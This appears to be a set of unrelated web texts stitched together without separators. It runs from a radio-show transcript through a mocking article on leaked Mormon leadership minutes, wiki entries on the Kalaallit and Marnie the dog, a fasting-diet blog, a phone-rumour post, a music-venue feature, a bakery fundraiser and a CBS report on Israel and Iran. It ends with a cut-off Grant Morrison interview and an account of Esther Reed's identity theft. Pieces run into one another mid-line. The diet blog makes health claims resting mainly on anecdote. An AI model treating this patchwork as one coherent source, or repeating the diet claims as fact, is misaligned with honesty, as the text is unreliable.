SHARP: The first thought went through my head - I can't wait to send this to my ex-wife. I can't wait to send it to her 'cause it's so beautiful. I'm sure it won't hurt her because - and she knew the journey I'd had. And I sent the CD to her, and I got a call from her the next day. I didn't know what she was going to say. And she said, Stuart - uh oh - I played your "Angeli Symphony," and I've had the windows open and I've played it full blast. I have to tell you, it is magnificent. And I cried.
GRUBERT: Let me ask you, you created a lovely family. You had a terrible tragedy, but your family was still intact. Then you had this dream that came to you - that frankly, could have been psychosis for all we know. If you had to do this all over again, would you do it the same way?
SHARP: I didn't have any choice. You have been given a gift, go and use it. So there's no choice for me.
GRUBERT: Was it worth it?
SHARP: I don't know.
WASHINGTON: Thanks for sharing your story, Stuart. That piece was produced by Johnathan Grubert. He's the host of the amazing podcast "The State We're In," distributed by WBEZ. I highly recommend it. That piece was edited by Anna Sussman with sound design by Pat Mesiti-Miller. Now, there are some promises you never want to make - never ever. Find out what they are when SNAP JUDGMENT "The Pact" episode continues. Stay tuned.
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What’s in it, you ask?
One part homophobia and one part misogyny, shaken up with some run-of-the-mill sexual repression.
Yep — sounds like the Mormon Church we know!
The leak contains the minutes of a Utah Layton Priesthood Leadership Conference from February 2014, attended by members of the Quorum of the Twelve Apostles and other governing bodies.
The gang discussed issues like religious freedom, agnosticism, and sexuality — the “big three,” according to absolutely nobody.
Related: Things my Mormon parents have said to me, their gay son
At one point in the meeting, Elder L. Tom Perry of the Quorum of the Twelve was asked “How do you help a young man or young woman who comes in and says ’I think I’m gay’?”
“Give them association with manly things,” he reportedly said. “Strong men that represent the ideal of relationships, a man who is vigorous and knows the power he holds.”
You hear that? If you suspect a child is gay, just give him a poster of Tom Selleck to put on his ceiling — that should do the trick. If that doesn’t work, sign him up for wrestling — those singlets are bound to take his mind off other guys.
Another topic was how to deal with same-sex couples showing “inappropriate affection” during church services. While they don’t detail what is deemed “inappropriate,” we assume even holding hands is a no-no.
Related: Fetishizing Gay Mormons Will Not Be Allowed At This Year’s Utah Pride Festival, Organizers Say
Elder Perry had some thoughts on this, too:
“I would invite them to come into my office right after and let them know they were out of line. I would let them know that repentance is possible… [But] adultery is still adultery. Fornication is still fornication. We should continually warn those living in sin that they are jeopardizing their eternal salvation.”
“This evil will divide our nation in half,” Perry said of the LGBT equality movement. “You know they will never stop. They move one inch at a time until they have forced upon all. Unfortunately the Supreme Court is listening to the voice of the people through the administration that is currently in place.”
Uh-oh. He’s on to us.
And these guys are tax-exempt… why exactly?
Here are the full minutes, if you care to dive that deep.Greenland
Kalaallit make up the largest group of the Greenlandic Inuit and are concentrated in Kitaa. It is also a contemporary term in the Greenlandic language for the indigenous people living in Greenland (Greenlandic Kalaallit Nunaat).[3] The Kalaallit (singular: Kalaaleq[4]) are a part of the Arctic Inuit. The language spoken by Inuit in Greenland is Kalaallisut, also called Grønlandsk.
Name [ edit ]
Possibly adapted from the name Skræling,[5] Kalaallit historically referred specifically to Western Greenlanders. On the other hand, Northern and Eastern Greenlanders call themselves Inughuit and Tunumiit, respectively. About 80% to 88% of Greenland's population, or approximately 44,000 to 50,000 people identify as being Inuit.[6][7]
History [ edit ]
Kalaallit are descended from the Thule people but probably not from their predecessors in Greenland, the Dorset culture.[8]
Regions [ edit ]
As 84% of Greenland's landmass is covered by the Greenland ice sheet, Kalaallit live in three regions: Polar, Eastern, and Western. In the 1850s some Canadian Inuit migrated to Greenland and joined the Polar Inuit communities.[9]
The Eastern Inuit, or Tunumiit, live in the area with the mildest climate, a territory called Ammassalik. Hunters can hunt marine mammals from kayaks throughout the year.[9]
The Northeast Greenland Inuit are now extinct. Douglas Clavering (1794–1827) met a group of twelve Inuit, including men, women and children, in Clavering Island in August 1823. There are many remains of former Inuit settlements in different locations of the now desolate area, but the population died out before mid-19th century.[10]
Art [ edit ]
The Kalaallit have a strong artistic tradition based on sewing animal skins and making masks. They are also known for an art form of figures called tupilaq, or "evil spirit object." Traditional art-making practices thrive in the Ammassalik.[6] Sperm whale ivory remains a valued medium for carving.[11]
See also [ edit ]
Notes [ edit ]
References [ edit ]
Hessel, Ingo. Arctic Spirit. Vancouver: Douglas and McIntyre, 2006 ISBN 978-1-55365-189-5At 52 years of age, I have around five per cent body fat. And I haven't done a lick of cardiovascular exercise since I gave up playing soccer in my late 20s due to a knee injury.
Seriously, the only exercise I do is some weight resistance training.
You want in on a little secret?
What if it promises to extend your lifespan and keep you looking and feeling your best well into old age?
What if all it involves is a small adjustment to your daily routine?
And there's no catch. It's even cardio-free. So there's no huffing and puffing or sweating involved.
Seriously, it's a game-changer.
OK, enough of the infomercial stuff. This is all about cutting your daily caloric intake, while simultaneously optimizing your body's ability to burn fat. This can be done by way of a little daily caloric restriction.
The payoff at the end of the day is that you still get to enjoy a hearty, fully-satisfying evening meal. That's the reward for not eating (or hardly eating) from daylight to sunset.
All you have to do is get into a daily routine of some "mini-fasting" (mostly done while you sleep) followed by a light lunch (or none at all) and a big protein-packed dinner.
I find this unorthodox routine is the best way to keep my metabolism operating in high gear. In other words, I simply skip breakfast and go as long as I comfortably can without re-fuelling.
Now it's not easy for everyone to skip breakfast. After all, we're culturally conditioned to eat before starting our work day. But this isn't biologically necessary for most of us. (However, if you have certain health issues, consult your physician before modifying your diet.)
So if you're not ravenous each morning, you can easily subdue any minor hunger pangs by drinking a large coffee (an appetite suppressant) and/or plenty of water (carbonated water works best).
Proof in the pudding
Fortunately, I've found some scientific validation for my long-held intuitive belief that skipping breakfast can be a good idea: Studies reveal that fasting for 16 hours can lower your body's insulin concentrations. In turn, this should discourage your body from producing and storing fat.
Personally, I believe that doing without food for as little as 14 hours a day also works well enough.
Mini-fasting this way also reduces your body's glycogen supply, which is a form of stored energy that is found in your in muscles and liver. It kicks in when all the glucose in your system (produced from digested carbohydrates) is used up as your primary energy source. So when your glycogen reserves also become depleted, you finally start to burn your body fat for energy.
When you eventually get around to eating at night, try to make your meals protein-dense. Also, feel free to eat as many starchy (but healthy) complex carbohydrates as you like. As for vegetables, eat plenty of them because they're a key part of a nutritious, well-balanced dinner.
Why calories count and meals don't
Science has now shown that you don't have to eat three main meals a day (or even half a dozen or so small ones, like many bodybuilders do) to efficiently burn calories.
All that matters is that your total caloric intake stays the same, regardless of how many meals you consume.
One such study involved two groups of overweight men and women, who were randomly assigned to very strict low-calorie diets. Each participant consumed the same number of calories per day. Yet one group only ate half as often as the rest of the study volunteers.
Nonetheless, both groups lost equivalent amounts of weight.
Snack a little if you like
If you follow my lead by eating just one square meal a day, rather than three (or a handful of under-sized meals), it can be beneficial to do a little healthy snacking, too. This is especially the case if you're physically active during the day and need a little additional fuel for energy.
Light snacks are best because they help regulate your appetite and keep your energy level from dipping.
Remember that I'm not talking about processed foods like potato chips or hot dogs. I'm referring to small, nutritious pick-me-ups. For example, eat some organic fruit, a handful of mixed nuts or some raw veggies with a little cheese or almond butter... you get the idea.
Alternatively, an organic fruit and vegetable smoothie also makes for an ideal energy booster in between meals. Finally, keep in mind that a snack should merely be just enough food to take the edge off your appetite for several hours.
Optimize your fat burning to become forever lean
It's a lot easier to "mini-fast" during the nighttime and mornings than most of us imagine. As little as 14 hours should allow your body to effectively burn fat. But again, this can only happen when all the carbohydrates stored in your system for energy have been used up first.
So learn to save your appetite for a big, satiating (but healthy) evening meal. In between, feel free to eat a light lunch and even an occasional small but nutritious snack. What's most important is to abstain from food during the night and the following morning.
I you heed this simple advice, you'll soon be well on your way to a leaner, healthier physique. This daily mini-fasting and feasting diet will also empower you to stay lean and full of vitality well into old age.
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Also on HuffPost:The Lumia 435 has not been discussed much around here due to the lack of hard evidence, but now that looks to be changing. ANATEL (Agencia Nacional de Telecomunicacoes) is Brazil's equivalent of the FCC in the United States. As such, they occasionally let slip new phones before their public announcement, and that is what has happened with the Lumia 435.
Budget phones have been Microsoft's theme for the last few months, and that trend does not look to let up. Latest rumors have a Lumia 435 and Lumia 1330 on the immediate horizon, likely for a Mobile World Congress announcement or perhaps even sooner.
The actual reference to a 'Lumia 435' is spotted in one of the approval documents from ANATEL noting that it is "traded with the Nokia Lumia 435 model name" (odd how this may not be a Microsoft-branded device).
Not too much is known about the Lumia 435 (RM-1068), though it is thought to be a dual-SIM device sporting a 4-inch 800 x 480 display, Snapdragon 200 CPU with 64.7 x 118.1 mm dimensions and a 5 MP rear shooter.
How the Lumia 435 differs from the already budget-friendly Lumia 530 is anyone's guess at this point. Perhaps the more interesting bit is this is the first time we see the Lumia line dip below the 5xx series into 4xx range, demarcating a new pricing point.
The Lumia 435 has also been caught at the FCC and through some import logs in India, suggesting that this could be a global push for the yet-announced budget phone.
How low can Microsoft go? We are not sure, but we are keen on hearing more about this phone in the coming weeks.
Source: ANATEL; via Janela Tech; Thanks, Carla S., for the tip!Highland Park's newest music venue already has quite a history — not to mention, no doubt, a few ghosts.
For 30 years, the 7,533-square-foot, second-floor space has hosted countless wedding receptions, community meetings, quinceañeras and $5 club nights. That's been the main hall’s principal use since the late '80s, when it was refurbished, along with the rest of the building. Traditionally, the events have been subdued affairs; the building’s one-time manager, Tom Buford, told the L.A. Times in 1990, "I've only once offered to lay a shillelagh on a boy."
Before that, the building was owned and operated by the Masonic Lodge 382, the members of which erected it at the corner of Figueroa Street and Avenue 56 in 1923. The Masons adorned the lodge room with their cryptic iconography, as well as some more unique touches for their members: a mural of an Egyptian sphinx with George Washington’s face; a star-shaped fixture with a secret inscription (“F.A.T.A.L.”) on the ceiling; a tall seat custom-made for Master Mason John Aasen, a silent movie actor who stood a towering 7 feet, 3 inches.
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This Friday, Nov. 3, the next chapter in the room's long history begins, as Ty Segall, Bleached and a handful of other L.A. indie rock and singer-songwriter acts will play the inaugural show at the venue christened the Lodge Room by its new owners.
"We wanted to open [the space] up to L.A., for people who have never seen it,” says Kyle Wilkerson, who, along with Brandon Gonzalez, will head up event programming at the space. Wilkerson also works as talent buyer at the Bootleg Theater, and Wilkerson and Gonzalez book and promote shows together around L.A. under the name Sid the Cat.
On a recent Thursday morning, Wilkerson and Gonzalez walked through the back rooms and darkened corridors of the space, testing out trap doors, and stepping around the massive Scandinavian chandelier that lay in an unfinished state on the floor. Even though some elements have changed in the year since the team began updating the space — “The first time we came in here it was set up for a quinceañera,” Wilkerson says — much of the main concert space itself remains fundamentally untouched, including the esoteric touches.
Brandon Gonzalez, left, will head up promotions at Lodge Room, and Kyle Wilkerson, right, will head up booking. Chris Kissel
For instance, the George Washington sphinx still watches over the room, albeit now from behind a small bar. The star fixture on the ceiling — a symbol of the female-inclusive Masonic Order of the Eastern Star — looks brand new. (Aasen’s massive chair, unfortunately, is long gone.)
Unlike so many historic spaces in L.A., the room has escaped dismemberment by over-zealous landlords; instead, the team says, their work in restoring the room was fairly minimal. They were aided, too, by the care taken by the building’s original owners, not to mention the renovations the space underwent in the '80s.
"The great thing about the Masons [is] they were really into the way buildings were set up, and their flow,” says Wilkerson. “So, luckily, we were blessed with folks who knew what they were doing."
Lodge Room joins other new mid-sized venues to open this year, including Zebulon in Frogtown and Moroccan Lounge in the Arts District, as part of a certifiable boom in local concert spaces. But Lodge Room has a particular kind of magic — a room that hasn't lived up to its aesthetic potential in decades.
Wilkerson and Gonzalez say their approach to booking is open-ended and genre-agnostic, another aspect they hope will set them apart. In addition to the show on Friday, which is also a benefit for Puerto Rico, the venue has announced shows upcoming shows featuring The Wild Reeds (Dec. 8), Bedouine and Springtime Carnivore (Dec. 9) and The Album Leaf (Dec. 15) among others.
Also part of the venue is a new restaurant, called Checker Hall, serving New American food. (The restaurant is set to open in two weeks.) The space was re-envisioned by the design and architecture firm Design, Bitches, who also designed the Oinkster in Eagle Rock and Button Mash in Echo Park. Unlike the venue space, which required only the installation of the bar and the sound, stage and lights, the team installed a new full bar and booths in the restaurant. On the Figueroa side, the dining room opens via walk-through windows to a full, New Orleans-style balcony.
The building itself is owned by Hugh Horne, principal of a self-storage real estate firm — also headquartered in the building — and other partners, who purchased the building about two years ago. (In 2014, the building was listed at $4.75 million.)
"I see us being right up there with Teragram and Troubadour and Bootleg and Echo.” -Kyle Wilkerson, Lodge Room talent buyer Facebook
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Gonzalez and Wilkerson, both of whom live in Highland Park, started booking shows in the neighborhood in 2016, at the Highland Park Ebell Club — a neighborhood spot with its own vintage-community-space vibe. (The night before we meet at the space, they produced a show there featuring the band Big Thief.) So the leap to the Lodge Room space, when it presented itself, seemed perfect for their two-person outfit.
"They were just going to keep doing quinceañeras and wedding receptions,” says Gonzalez. “We came in and were like, we want to do Monday through Thursday when you guys aren’t booking it. They liked our vision, so we kinda collaborated, and made it what it is today.”
Lodge Room joins a neighborhood brimming with businesses new and old — from Good Girl Dinette and Panaderia Delicias, which both inhabit the ground floor of the same building, to the bars La Cuevita and ETA, the record store Mount Analog and the Stones Throw label's storefront space, all on the same street. It also has another well-established music venue, the Hi Hat, over on York. But Gonzalez and Wilkerson see their competition in more citywide terms.
"I see us being right up there with Teragram and Troubadour and Bootleg and Echo,” says Wilkerson. "We’re an independent venue with this beautiful space. I think we’ll slide right in there.”
In some ways, the pair say they’re motivated to do justice to the building itself, hoping to give showgoers in L.A. a little more than the typical sticky floors and graffitied bathrooms. (The bathrooms at Lodge Room, by the way, are full of original marble.)
"I think people are going to be blown away by the sheer beauty of it,” says Wilkerson. "There are tons of places to go see shows in L.A. But there is only one of these.”Marnie (born October 26, 2001) is a 17-year-old female Shih Tzu senior rescue dog adopted and owned by Shirley Braha.[1][2] Photos of Marnie have been popular on Instagram and Twitter; as a result, Marnie's Instagram account has over 2.1 million Instagram followers and each of the photos have received hundreds of thousands of Instagram likes; Marnie's Twitter account has received over 115.8k followers. Braha also posts short videos of Marnie on Vine, which have also garnered significant attention.
In August 2012 Marnie was moved to an animal shelter by animal control as an abandoned street dog living in Connecticut. Four months later, she was adopted by Braha via Petfinder. Marnie's popularity originated from her photos on Instagram, under the handle @marniethedog, which Braha has updated since 2014. Marnie is especially famous for her permanent head tilt to the left, a result of a brief case of vestibular disease.
History [ edit ]
Marnie was a street dog living in Connecticut. In August 2012, Marnie was moved to an animal shelter by animal control and was nicknamed Stinky due to her pungent smell from living on the street. She had health problems, such as decaying teeth, partial visual impairment in her left eye, and partial hearing impairment before Marnie's adoption. Although Marnie's decaying teeth were removed and her vision was gradually restored,[3] her hearing impairment still remains.[4][5]
Four months later, Braha found Marnie via Petfinder, an adoption website. She then adopted and transferred her to New York City. Braha was told about Marnie's various health problems; Braha, in light of her health problems, did not expect Marnie to survive for more than a couple of weeks.[4] Braha said that while transferring her by rail, she "stunk up the whole train".[6]
After Marnie's decaying teeth were removed, her pungency was greatly reduced. Braha then named her Marnie after musician Marnie Stern.[4]
Internet celebrity career [ edit ]
In 2014, Braha decided to post photos of Marnie under the Instagram handle @marniethedog. The photos quickly became popular, gaining many Instagram likes per photo. Her account accumulated Instagram followers quickly; as a result, Marnie now has over two million followers on Instagram.[7][8] As a response to the quick popularity, Braha said: "I was just excited that anyone cared; I never imagined she would be at the level she is now".[8]
Braha also posts photos on Twitter and short videos on Vine, which has also garnered significant attention.[9]
Marnie's head is permanently tilted to the left (a feature that she is distinctive for)[1][2] possibly as a result of a brief case of vestibular disease. Her hearing impairment is also a probable effect of the disease.[3][4][10][11]
Braha routinely makes appearances with celebrities, some setting up meetings with Braha to meet Marnie.[8] Braha also makes paid visits to events, and sells merchandise featuring Marnie.[1]
Media appearances [ edit ]
In 2016, Avvo featured a video of Marnie in one of its television commercials[12] and some of its online advertisements.About
WE HAVE UNDER 30 DAYS TO RAISE 50K YOU CAN HELP!
WHAT DO WE NEED THE MONEY FOR?
1. 20k: Rent and operating cost for 6 month wood, utilities and product, licensing, permits, equipment.
2. 12k: Signage, awning a construction of the roof top deck
3. 15k : Renovations on the dinning room including a new bar, light fixtures and to replace the floor. We can use the exiting tables & chairs, but we will need to purchase china & glassware.
4. Lastly, fees for kicksarter, Amazon and kickbacks for all of you folks that helped us!
WHAT IS THE VISION FOR COMMUNITY OVEN? Our vision is to create a common hearth for Rockland. A bakery and pizzeria where Mainers can enjoy delicious food and company year-round—and where out-of-towners might come for true local flavor.
We are planning to return to Rockland, Maine to build a pizzeria and bakery that follows the same ethos as Lily Bistro: locally-sourced food which builds community, and helps the people of Maine to live well and eat well.
Many of you probably remember Bob’s Bread from Lily Bistro.A professional baker for 15 years, bread is Bob’s first love.(We joke that, at times, BREAD has played the role of the other women in our lives!)
Now, we have an opportunity to share with you.We have found a new space in Rockland, and in a great location! The best part is this: it has an old-fashioned, wood-fired brick oven. Wood cooks at a much higher heat and imparts a different flavor in the bread.It’s the way people have made breads and pizzas in Italy for hundreds of years, and it’s the way we will bake at Community Oven. Also, it has a great view of the water and an existing deck.
Bob will be baking loaves of all your favorites—including his famous homemade sourdough! And Bob’s crust will serve as a base for our wood-fired, brick-oven pizzas, which will be loaded up with all the fresh, local ingredients we used to gather for Lily Bistro.(A gluten-free option is in the works, too!)
In the meantime, we will also offer a “family meal” series! (“Family meal” is the meal you feed your staff, and for us, it’s the perfect description as our staff truly is our family!) The family meals at Community Oven will work like community-supported agriculture: buy into our dinners, and join us for our Family Meals.
boudin
BMF burger
pizza
And a sample menu....
https://docs.google.com/file/d/0B7GHMjEVagRkRGVpX25HSmlpUFU/edit
Then, in early spring, we will open the pizzeria to Rockland—and the creation of a beautiful roof top garden!Israeli warplanes have conducted what U.S. intelligence analysts say was a dress rehearsal for a strike against Iran's nuclear facilities - ominous action backed up by ominous words from Israel's ambassador to the U.S.
"We cannot take this threat lightly and as our prime minister recently said Israel will not tolerate a nuclear Iran," Sallai Meridor told CBS News national security correspondent David Martin.
The exercise took place on June 2 over the eastern Mediterranean. According to CBS consultant Michael Oren, nearly 100 aircraft flew the 900-mile ranges needed to hit targets in Iran.
"Israeli planes, to reach Iran, would have to refuel at least three times going there and back and they were training that," Oren said.
There's no mystery about the message that sends, says former Air Force Secretary James Roche.
"The Iranians, many hope, will understand that when you get into this business you get on a lot of people's target lists," Roche said.
Just last year Israeli jets knocked out a nuclear reactor in Syria and in 1981 destroyed an Iraqi nuclear reactor. But a pilot who flew that mission told Bob Simon on 60 Minutes that Iran's nuclear program is a much tougher target.
"We had one point to destroy," Col. Zeev Raz said. "They have many points, many of them deep under the mountains, under the ground, and it's a much more complicated problem than in 81."
It's made even more complicated by anti-aircraft missiles which Iran is buying from Russia and could have in operation by the end of this year.
"You say the window for diplomatic action is closing. How much time is there?" Martin asked Meridor.
"Less today than we had yesterday, and it's, it's running out," Meridor said.
For many countries, choosing between bombing Iran and Iran with a bomb is a tough call. But there is no doubt what choice Israel would make.Laura Sneddon write this interview with Grant Morrison for the Independent newspaper. But it was short and mainstream, and missed out all inside industry stuff as a result. Thankfully, she posted the full experience online. Here a few snippets.
On Action Comics artists and schedules:
I can talk a little bit about it. Well Rags Morales is still drawing it but he needed to get help on the second one from I think it was Brent Anderson and he’ll probably need help on the third one and honestly it’s because DC decided that they want the comics to come out monthly because people were complaining that the comics were taking too long. And it’s a really hard one to negotiate because the reason comics take too long is because they cost more, so the artists put more time into making the work worthwhile and also because they’re collected, the artists want to make sure that the work is good enough to withstand the test of time, which takes longer. … So it was a weird problem because things were getting late, like my Batman Incorporated has been super late because, partly because of me but also because the artist just couldn’t keep up and do their best work and suddenly came this dictat that now everything had to be monthly and they want to keep to that so it’s just the case that if your artist can’t meet that then somebody else will finish up the pages. So it’s kinda, for me it hits the long term collections of it to have things done like that but at the same time it brings back a lot of the freshness and improvisation of doing comics again and just responding to that and also sometimes you know they’ll be like we need a two part filler here – okay I’ll just come up with something, and it might not necessarily fit it in to the middle of this but okay, you need a filler.
On having a free reign:
Pretty much yeah, which was the reason I did it. And you know when Dan DiDio came over and said do you want to do this and I said well no’ really but here’s what I’d do and I thought there’s no way he’ll accept this and he kind of did! So that was it, it was really getting the chance to just recreate Superman from scratch and I do keep running up into things that are happening now because you know Superman’s now… the story I’m telling is supposed to be set 5 years in the past of the current continuity so all this stuff’s going on in the current continuity that I’m kinda trying to mix and match with while they’re expecting me to come up with certain aspects of the lore that they haven’t figured out yet. So it’s been a weird kind of shuffle and once the first six issues are done I’m sort of moving forward through the present day of it and catching up with that.
On writing Batman Marvel style:
Comics in the last ten years have tried to imitate movies but movies have now got so good at doing comics that we just look like a poor cousin. So what I’ve been doing, I was talking to like Chris Burnham on Batman for the final season, these last 12 parts of the Batman Leviathan story is that he’s gonna do the lead work you know, I’m just going to do it almost like Marvel style with a really detailed plot and just say break this down. So we were looking at all these, like Paul Gulacy’s Master of Kung Fu, and Walt Simonson and things and thinking lets get back to multi-panel pages and slicing time and doing all the things that comics can do. Because we got so into just that wide screen, four panels a page look that it began to take over everything and all it was was an imitation of how it feels to sit in a movie theatre without the audiences heads in front of you. So I kind of thought now’s the time, particularly as the sales are diving and DC are making this great, this mad final flourish to
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been the real subtext of her romantic relationships with men in the military? Was she a spy? There were so many peculiarities about the case that did not make sense.
"From a criminal standpoint we rarely find somebody who assumes somebody's identity for any period of time," says Det. John Urquhart of King County, Washington. "Typically they will do it long enough to clean out the bank accounts and then off they go. But she's done this for a long period of time, more than once, to live as those persons."
*****
Esther Elizabeth Reed was born on March 8, 1978, in the tiny town of Townsend, Montana, the youngest of eight children. Her father, Ernest "Ernie" Reed, was a woodworker and farm laborer. He married a woman named Florence when he was 32 and she was 40 and a single mother with seven children and two marriages behind her. Edna, one daughter, says that of her mother's four husbands, Ernie, a god-fearing Baptist, was by far, the most reliable, a truly good man. "My mother was a wonderful, attractive person," Edna says, "but she didn't have the best taste in men."
Though never affluent, Ernie made sure there was food on the table for his family, which mainly consisted of Esther and her brother, EJ, two years her senior, since the other children were mostly grown. She was a "pretty baby" according to another half-sister, Lori Devaney. But as she grew, Esther somehow never fit in, according to both Lori and Edna, partly because she was always a little overweight, and partly because she was so much younger than her half-siblings. She was always, says Lori, "manipulative... the kind of girl who when told not to touch something would put one finger on it to test boundaries."
James Theriault, who taught Esther in high school, wondered for a long time if the girl was being abused, because she was so reclusive. "She had this shell," he says. So he put her on the debate team, and noticed that she was "highly intelligent" and outstandingly good. Her brother EJ would later tell police that it didn't matter which side of an argument she was told to argue -- she was equally good at everything. "She could convince you it was daylight outside in the middle of the night," Sergeant Urquhart recalls EJ Reed telling him. EJ also told Edna that he gave up playing games like chess with his sister pretty early on -- she was way too good for him.
Yet her grades were poor. "She thought she was too bright for high school," says Lori. "[She thought] that the teachers were wasting her time."
Meanwhile life at home was rocky. In 1991, after Ernie's health deteriorated following a bout with meningitis, he and Flo separated. In 1992 Flo had surgery for cancer. In 1995 she moved out of Townsend and took Esther to Lynwood, near Seattle, where Esther enrolled in high school for just one year before dropping out. Weakened by her pain medication, Flo's grasp on Esther slipped. "The rest of you will be fine, but watch out for Esther," she told Edna as she was dying. Edna wasn't sure why their mother was so concerned. But as she was going through her mother's possessions, following her death in August 1998, she found a document that shocked her. It showed that Esther had been on probation for stealing (with a group of friends) in Townsend. Suddenly things started to add up for Edna, who was letting her sister live with her.
Edna and her husband and daughter would habitually throw loose change in an old jug for their annual vacation. It had gotten to the point where it was so full it was almost too heavy to lift. Suddenly the money vanished. So too did her daughter's tooth-fairy money; then Edna's purse went missing. By then Esther had moved out.
In the late spring of 1999 the police notified Edna that someone was cashing her checks... and then in June they arrested Esther as the culprit.
During the summer of 1999, Edna sat in the visitors' gallery at the courthouse in Kent, Seattle, where she watched Esther plead guilty to the credit card theft. Esther was sentenced to 35 days in jail, which had been converted to community service. Grudgingly, through her fury, Edna noticed that her younger sibling had gotten thin and "beautiful" -- the result of diet pills and jogging. Outside after the proceedings the two sisters had it out. Edna asked how, given their Baptist upbringing and everything the family had been through, Esther could have behaved like this? Stealing her own baby niece's tooth fairy money? Esther shrugged: "Because I didn't think you'd really mind and because I could," were more or less her answers, according to Edna.
(Court papers filed by Reed's lawyer alleged her sister had called her "evil" and claimed this subsequently triggered panic and anxiety attacks in the young woman).
But emails from Esther to Edna offer a different insight into her amoral outlook, more or less the Bad Seed syndrome. "Usually there has always been something in my life that I hadn't admitted to that I had done, so guilt was nothing new for me" she wrote. "Ever since I was a young kid, I have had urges of steeling [sic]. Most of the time I can overcome them. But as I got older, the things I took got bigger and the schemes I pulled to get them got worse. When I was fourteen I learned how to lock myself up in a little box and I had no idea how to unlock it..when I steel [sic], I am able to shut off all feeling...it bothers me, but not like it should.
She goes on: "Sitting in a jail cell will tell you there is a little bit more wrong than just saying "no" will fix... something inside of me is different. I don't want to be the girl who let life pass her by because she was too afraid to live it."
She signed herself "Liz," not Esther, a sign of a new start.
*****
Later that summer Esther emailed her sister Edna that she'd quit working in nursing homes and was thinking of a career in the military and that she had taken up chess and was playing in tournaments. Her last email to Edna was in October, 1999.
By then Edna and Lori were also receiving irate emails from one of Esther's ex-boyfriends, Johnny Fisher, who was owed thousands of dollars in rent. Fisher had a sister, Natalie, then living in Germany. Esther enrolled as Natalie Fisher in a summer debate tournament in Arizona, where her abilities caught the eye of John Bruschke, the debate coach at Cal State Fullerton.
Bruschke suggested "Natalie" enroll at Cal State as an adjunct student -- because that way she could sign up for classes more cheaply. She would not end up with a degree, but she could sign on to the debate team. She said she would finance this with her winnings from chess tournaments.
Bruschke was puzzled when Esther enrolled at Cal State, not as Natalie Fisher, which is how she had known her, but as Natalie Bowman. However he didn't pry. The debate team at Cal State Fullerton was no stranger to members with mixed-up backgrounds says Brushke. "We are kind of a place where people with unpleasant lives, but talent, find their way," he says.
But even by Cal State standards Natalie Fisher/Bowman developed a reputation as a "crazy" girl among her peers. She was highly interested in the opposite sex, recalls both Bruschke and her philosophy teacher, Mitch Avila. But her relationships were extremely short-lived even by student standards, noted Brushke.
She was considered odd. "She didn't trust anybody" says one of her debate team colleagues. One time "Natalie" complained to Brushke that the debate team had gotten bawdy and out-of-hand en route to a tournament -- but when he looked into the matter he discovered that she had been the ringleader of the bawdiness. So why would she have complained?
Avila says she was clearly way beyond the rest of the philosophy students in his class. "It wasn't remotely clear what she was doing there... she already knew all this stuff" he says. He was so suspicious he even checked her work for plagiarism but came up empty. In 2003, at her request, he wrote her a letter of recommendation under the name Brooke Henson, because, she told him, she was being stalked and needed to change identities while she applied to a new college.
She wrote to him about the matter:
I was in your philosophy, I think 100, class last fall. I was the debating chess player. Anyways, last winter I decided to transfer from Fullerton to Loyola University in Chicago. In between I went back to playing chess to get the money to pay for a school like that and I acquired a bit of a stalker. Things got fairly complicated and I wasn't able to attend Loyola for safety reasons, so I am now in the process of applying again, but to Northwestern and a couple of other better schools. Apparently my scores allow me into better schools than I thought. I will explain it better in person, but its a tricky situation and I know you once said you write letters of recommendation for students and I am in need of a good one.
Avila says he agreed to her request "because when you have a student facing you who says she is being stalked it's very difficult to fight that... you tend to believe her."
Neither Mitch Avila nor John Brushke were surprised when they read recently that their former student had gotten into Columbia and Harvard. "She was absolutely bright enough" says Brushke, adding that she didn't strike him as a petty criminal: "Here's the thing about a debate team... you are driving and hanging around with someone for 12 hours then you are living with them and are spending 16 hour days where you are in hotel rooms having meals with them,...if her intentions had been to steal, she had ample opportunity."
In 2003, according to Detective Jon Campbell, Esther, as Natalie Bowman, somehow joined the Harvard debate team. Records show that the real Natalie Bowman had debated for Harvard in 1999 and then went on to Columbia Medical school. This Natalie was in Peru when Esther impersonated her in Cambridge, Massachusetts, according to Campbell.
Why would Esther bother to get into Ivy League Schools under an assumed identity, when she could have used her considerable talents for more lucrative -- or insidious -- purposes is a question perplexing police. "If you are looking for motivation for Natalie, her character is very much like Kate in Lost," says Brushke. James Theriault was left wondering why she felt she needed to be anyone else since, in his opinion, "she was quite bright enough to get into Harvard on her own... I can speculate that maybe she wanted to be somebody else." Jon Campbell believes she is some sort of honey trap.
*****
Her phone text messages show that Esther/Natalie/Brooke dated many men while she was traveling the country debating, playing chess and attending college. Many of them were in service. Her text messages imply she was most serious about someone named "Tim," a Naval Warfare Officer stationed on a ship out of Everett, Washington. "Tim" gave her a ring, she wrote in an instant message to one ex-boyfriend. Yet she was flirting with her correspondent, even as she told him that the ring meant a great deal to her -- her first "diamond."
Among the cadets at West Point, she had flings with Kyle Brengel, in 2006 stationed in Alaska, and Ian Fleishmann, then supervising officers in Iraq.
Fleishmann's father, Fred, from Michigan, was suspicious of his son's new girlfriend -- then calling herself Natalie Fisher -- right from the start. While she was clearly smart and attractive she was very reticent when it came to information about herself.
"The guys were not involved with her seriously -- they were in this for wild sex," explains Det. Campbell. "They've all been interviewed -- and none of them passed on any classified information. If they had, that would be considered a very serious -- as in treasonable -- offense by the army; it's clear that did not happen."
In 2002, while dating Ian Fleishmann and visiting him at his parent's home in Michigan, Fleishmann's mother, Shirley, a professor at Annapolis, backed their car out of the garage and accidentally hit Natalie's red Honda Accord. Strangely, the young woman refused to give her insurance details or ever cash a check that Fleishmann wrote for two and a half thousand dollars. Fred Fleishmann couldn't understand why the young woman wouldn't let him take the car to get it fixed. He also wanted to give her a map of the area and went out to his driveway to put one in her glove compartment while she and his son were at the beach. To his astonishment, he found several driver's licenses, including Esther Reed's.
He started to pay more attention to the young woman, particularly when she suggested that she and his son share a cell phone so they could speak regularly (West Point hours don't allow much free time) and the bills came to his home. He noticed that she was calling all the time -- and from all over America."She claimed she was playing chess tournaments, but I wondered," says Fleishmann, who looked up the tournaments and saw no sign of her.
Meanwhile, his son was growing weary of the girl's barrage of phone calls and they lost touch. Detective Campbell says Ian Fleishmann has subsequently told him that "Natalie" became a pest.
Last fall, out of the blue, Fred Fleishmann received a call from Jon Campbell inquiring about the young woman his son used to date. According to Campbell, Fleishmann said wryly "I'd been wondering when my phone was going to ring about her."
*****
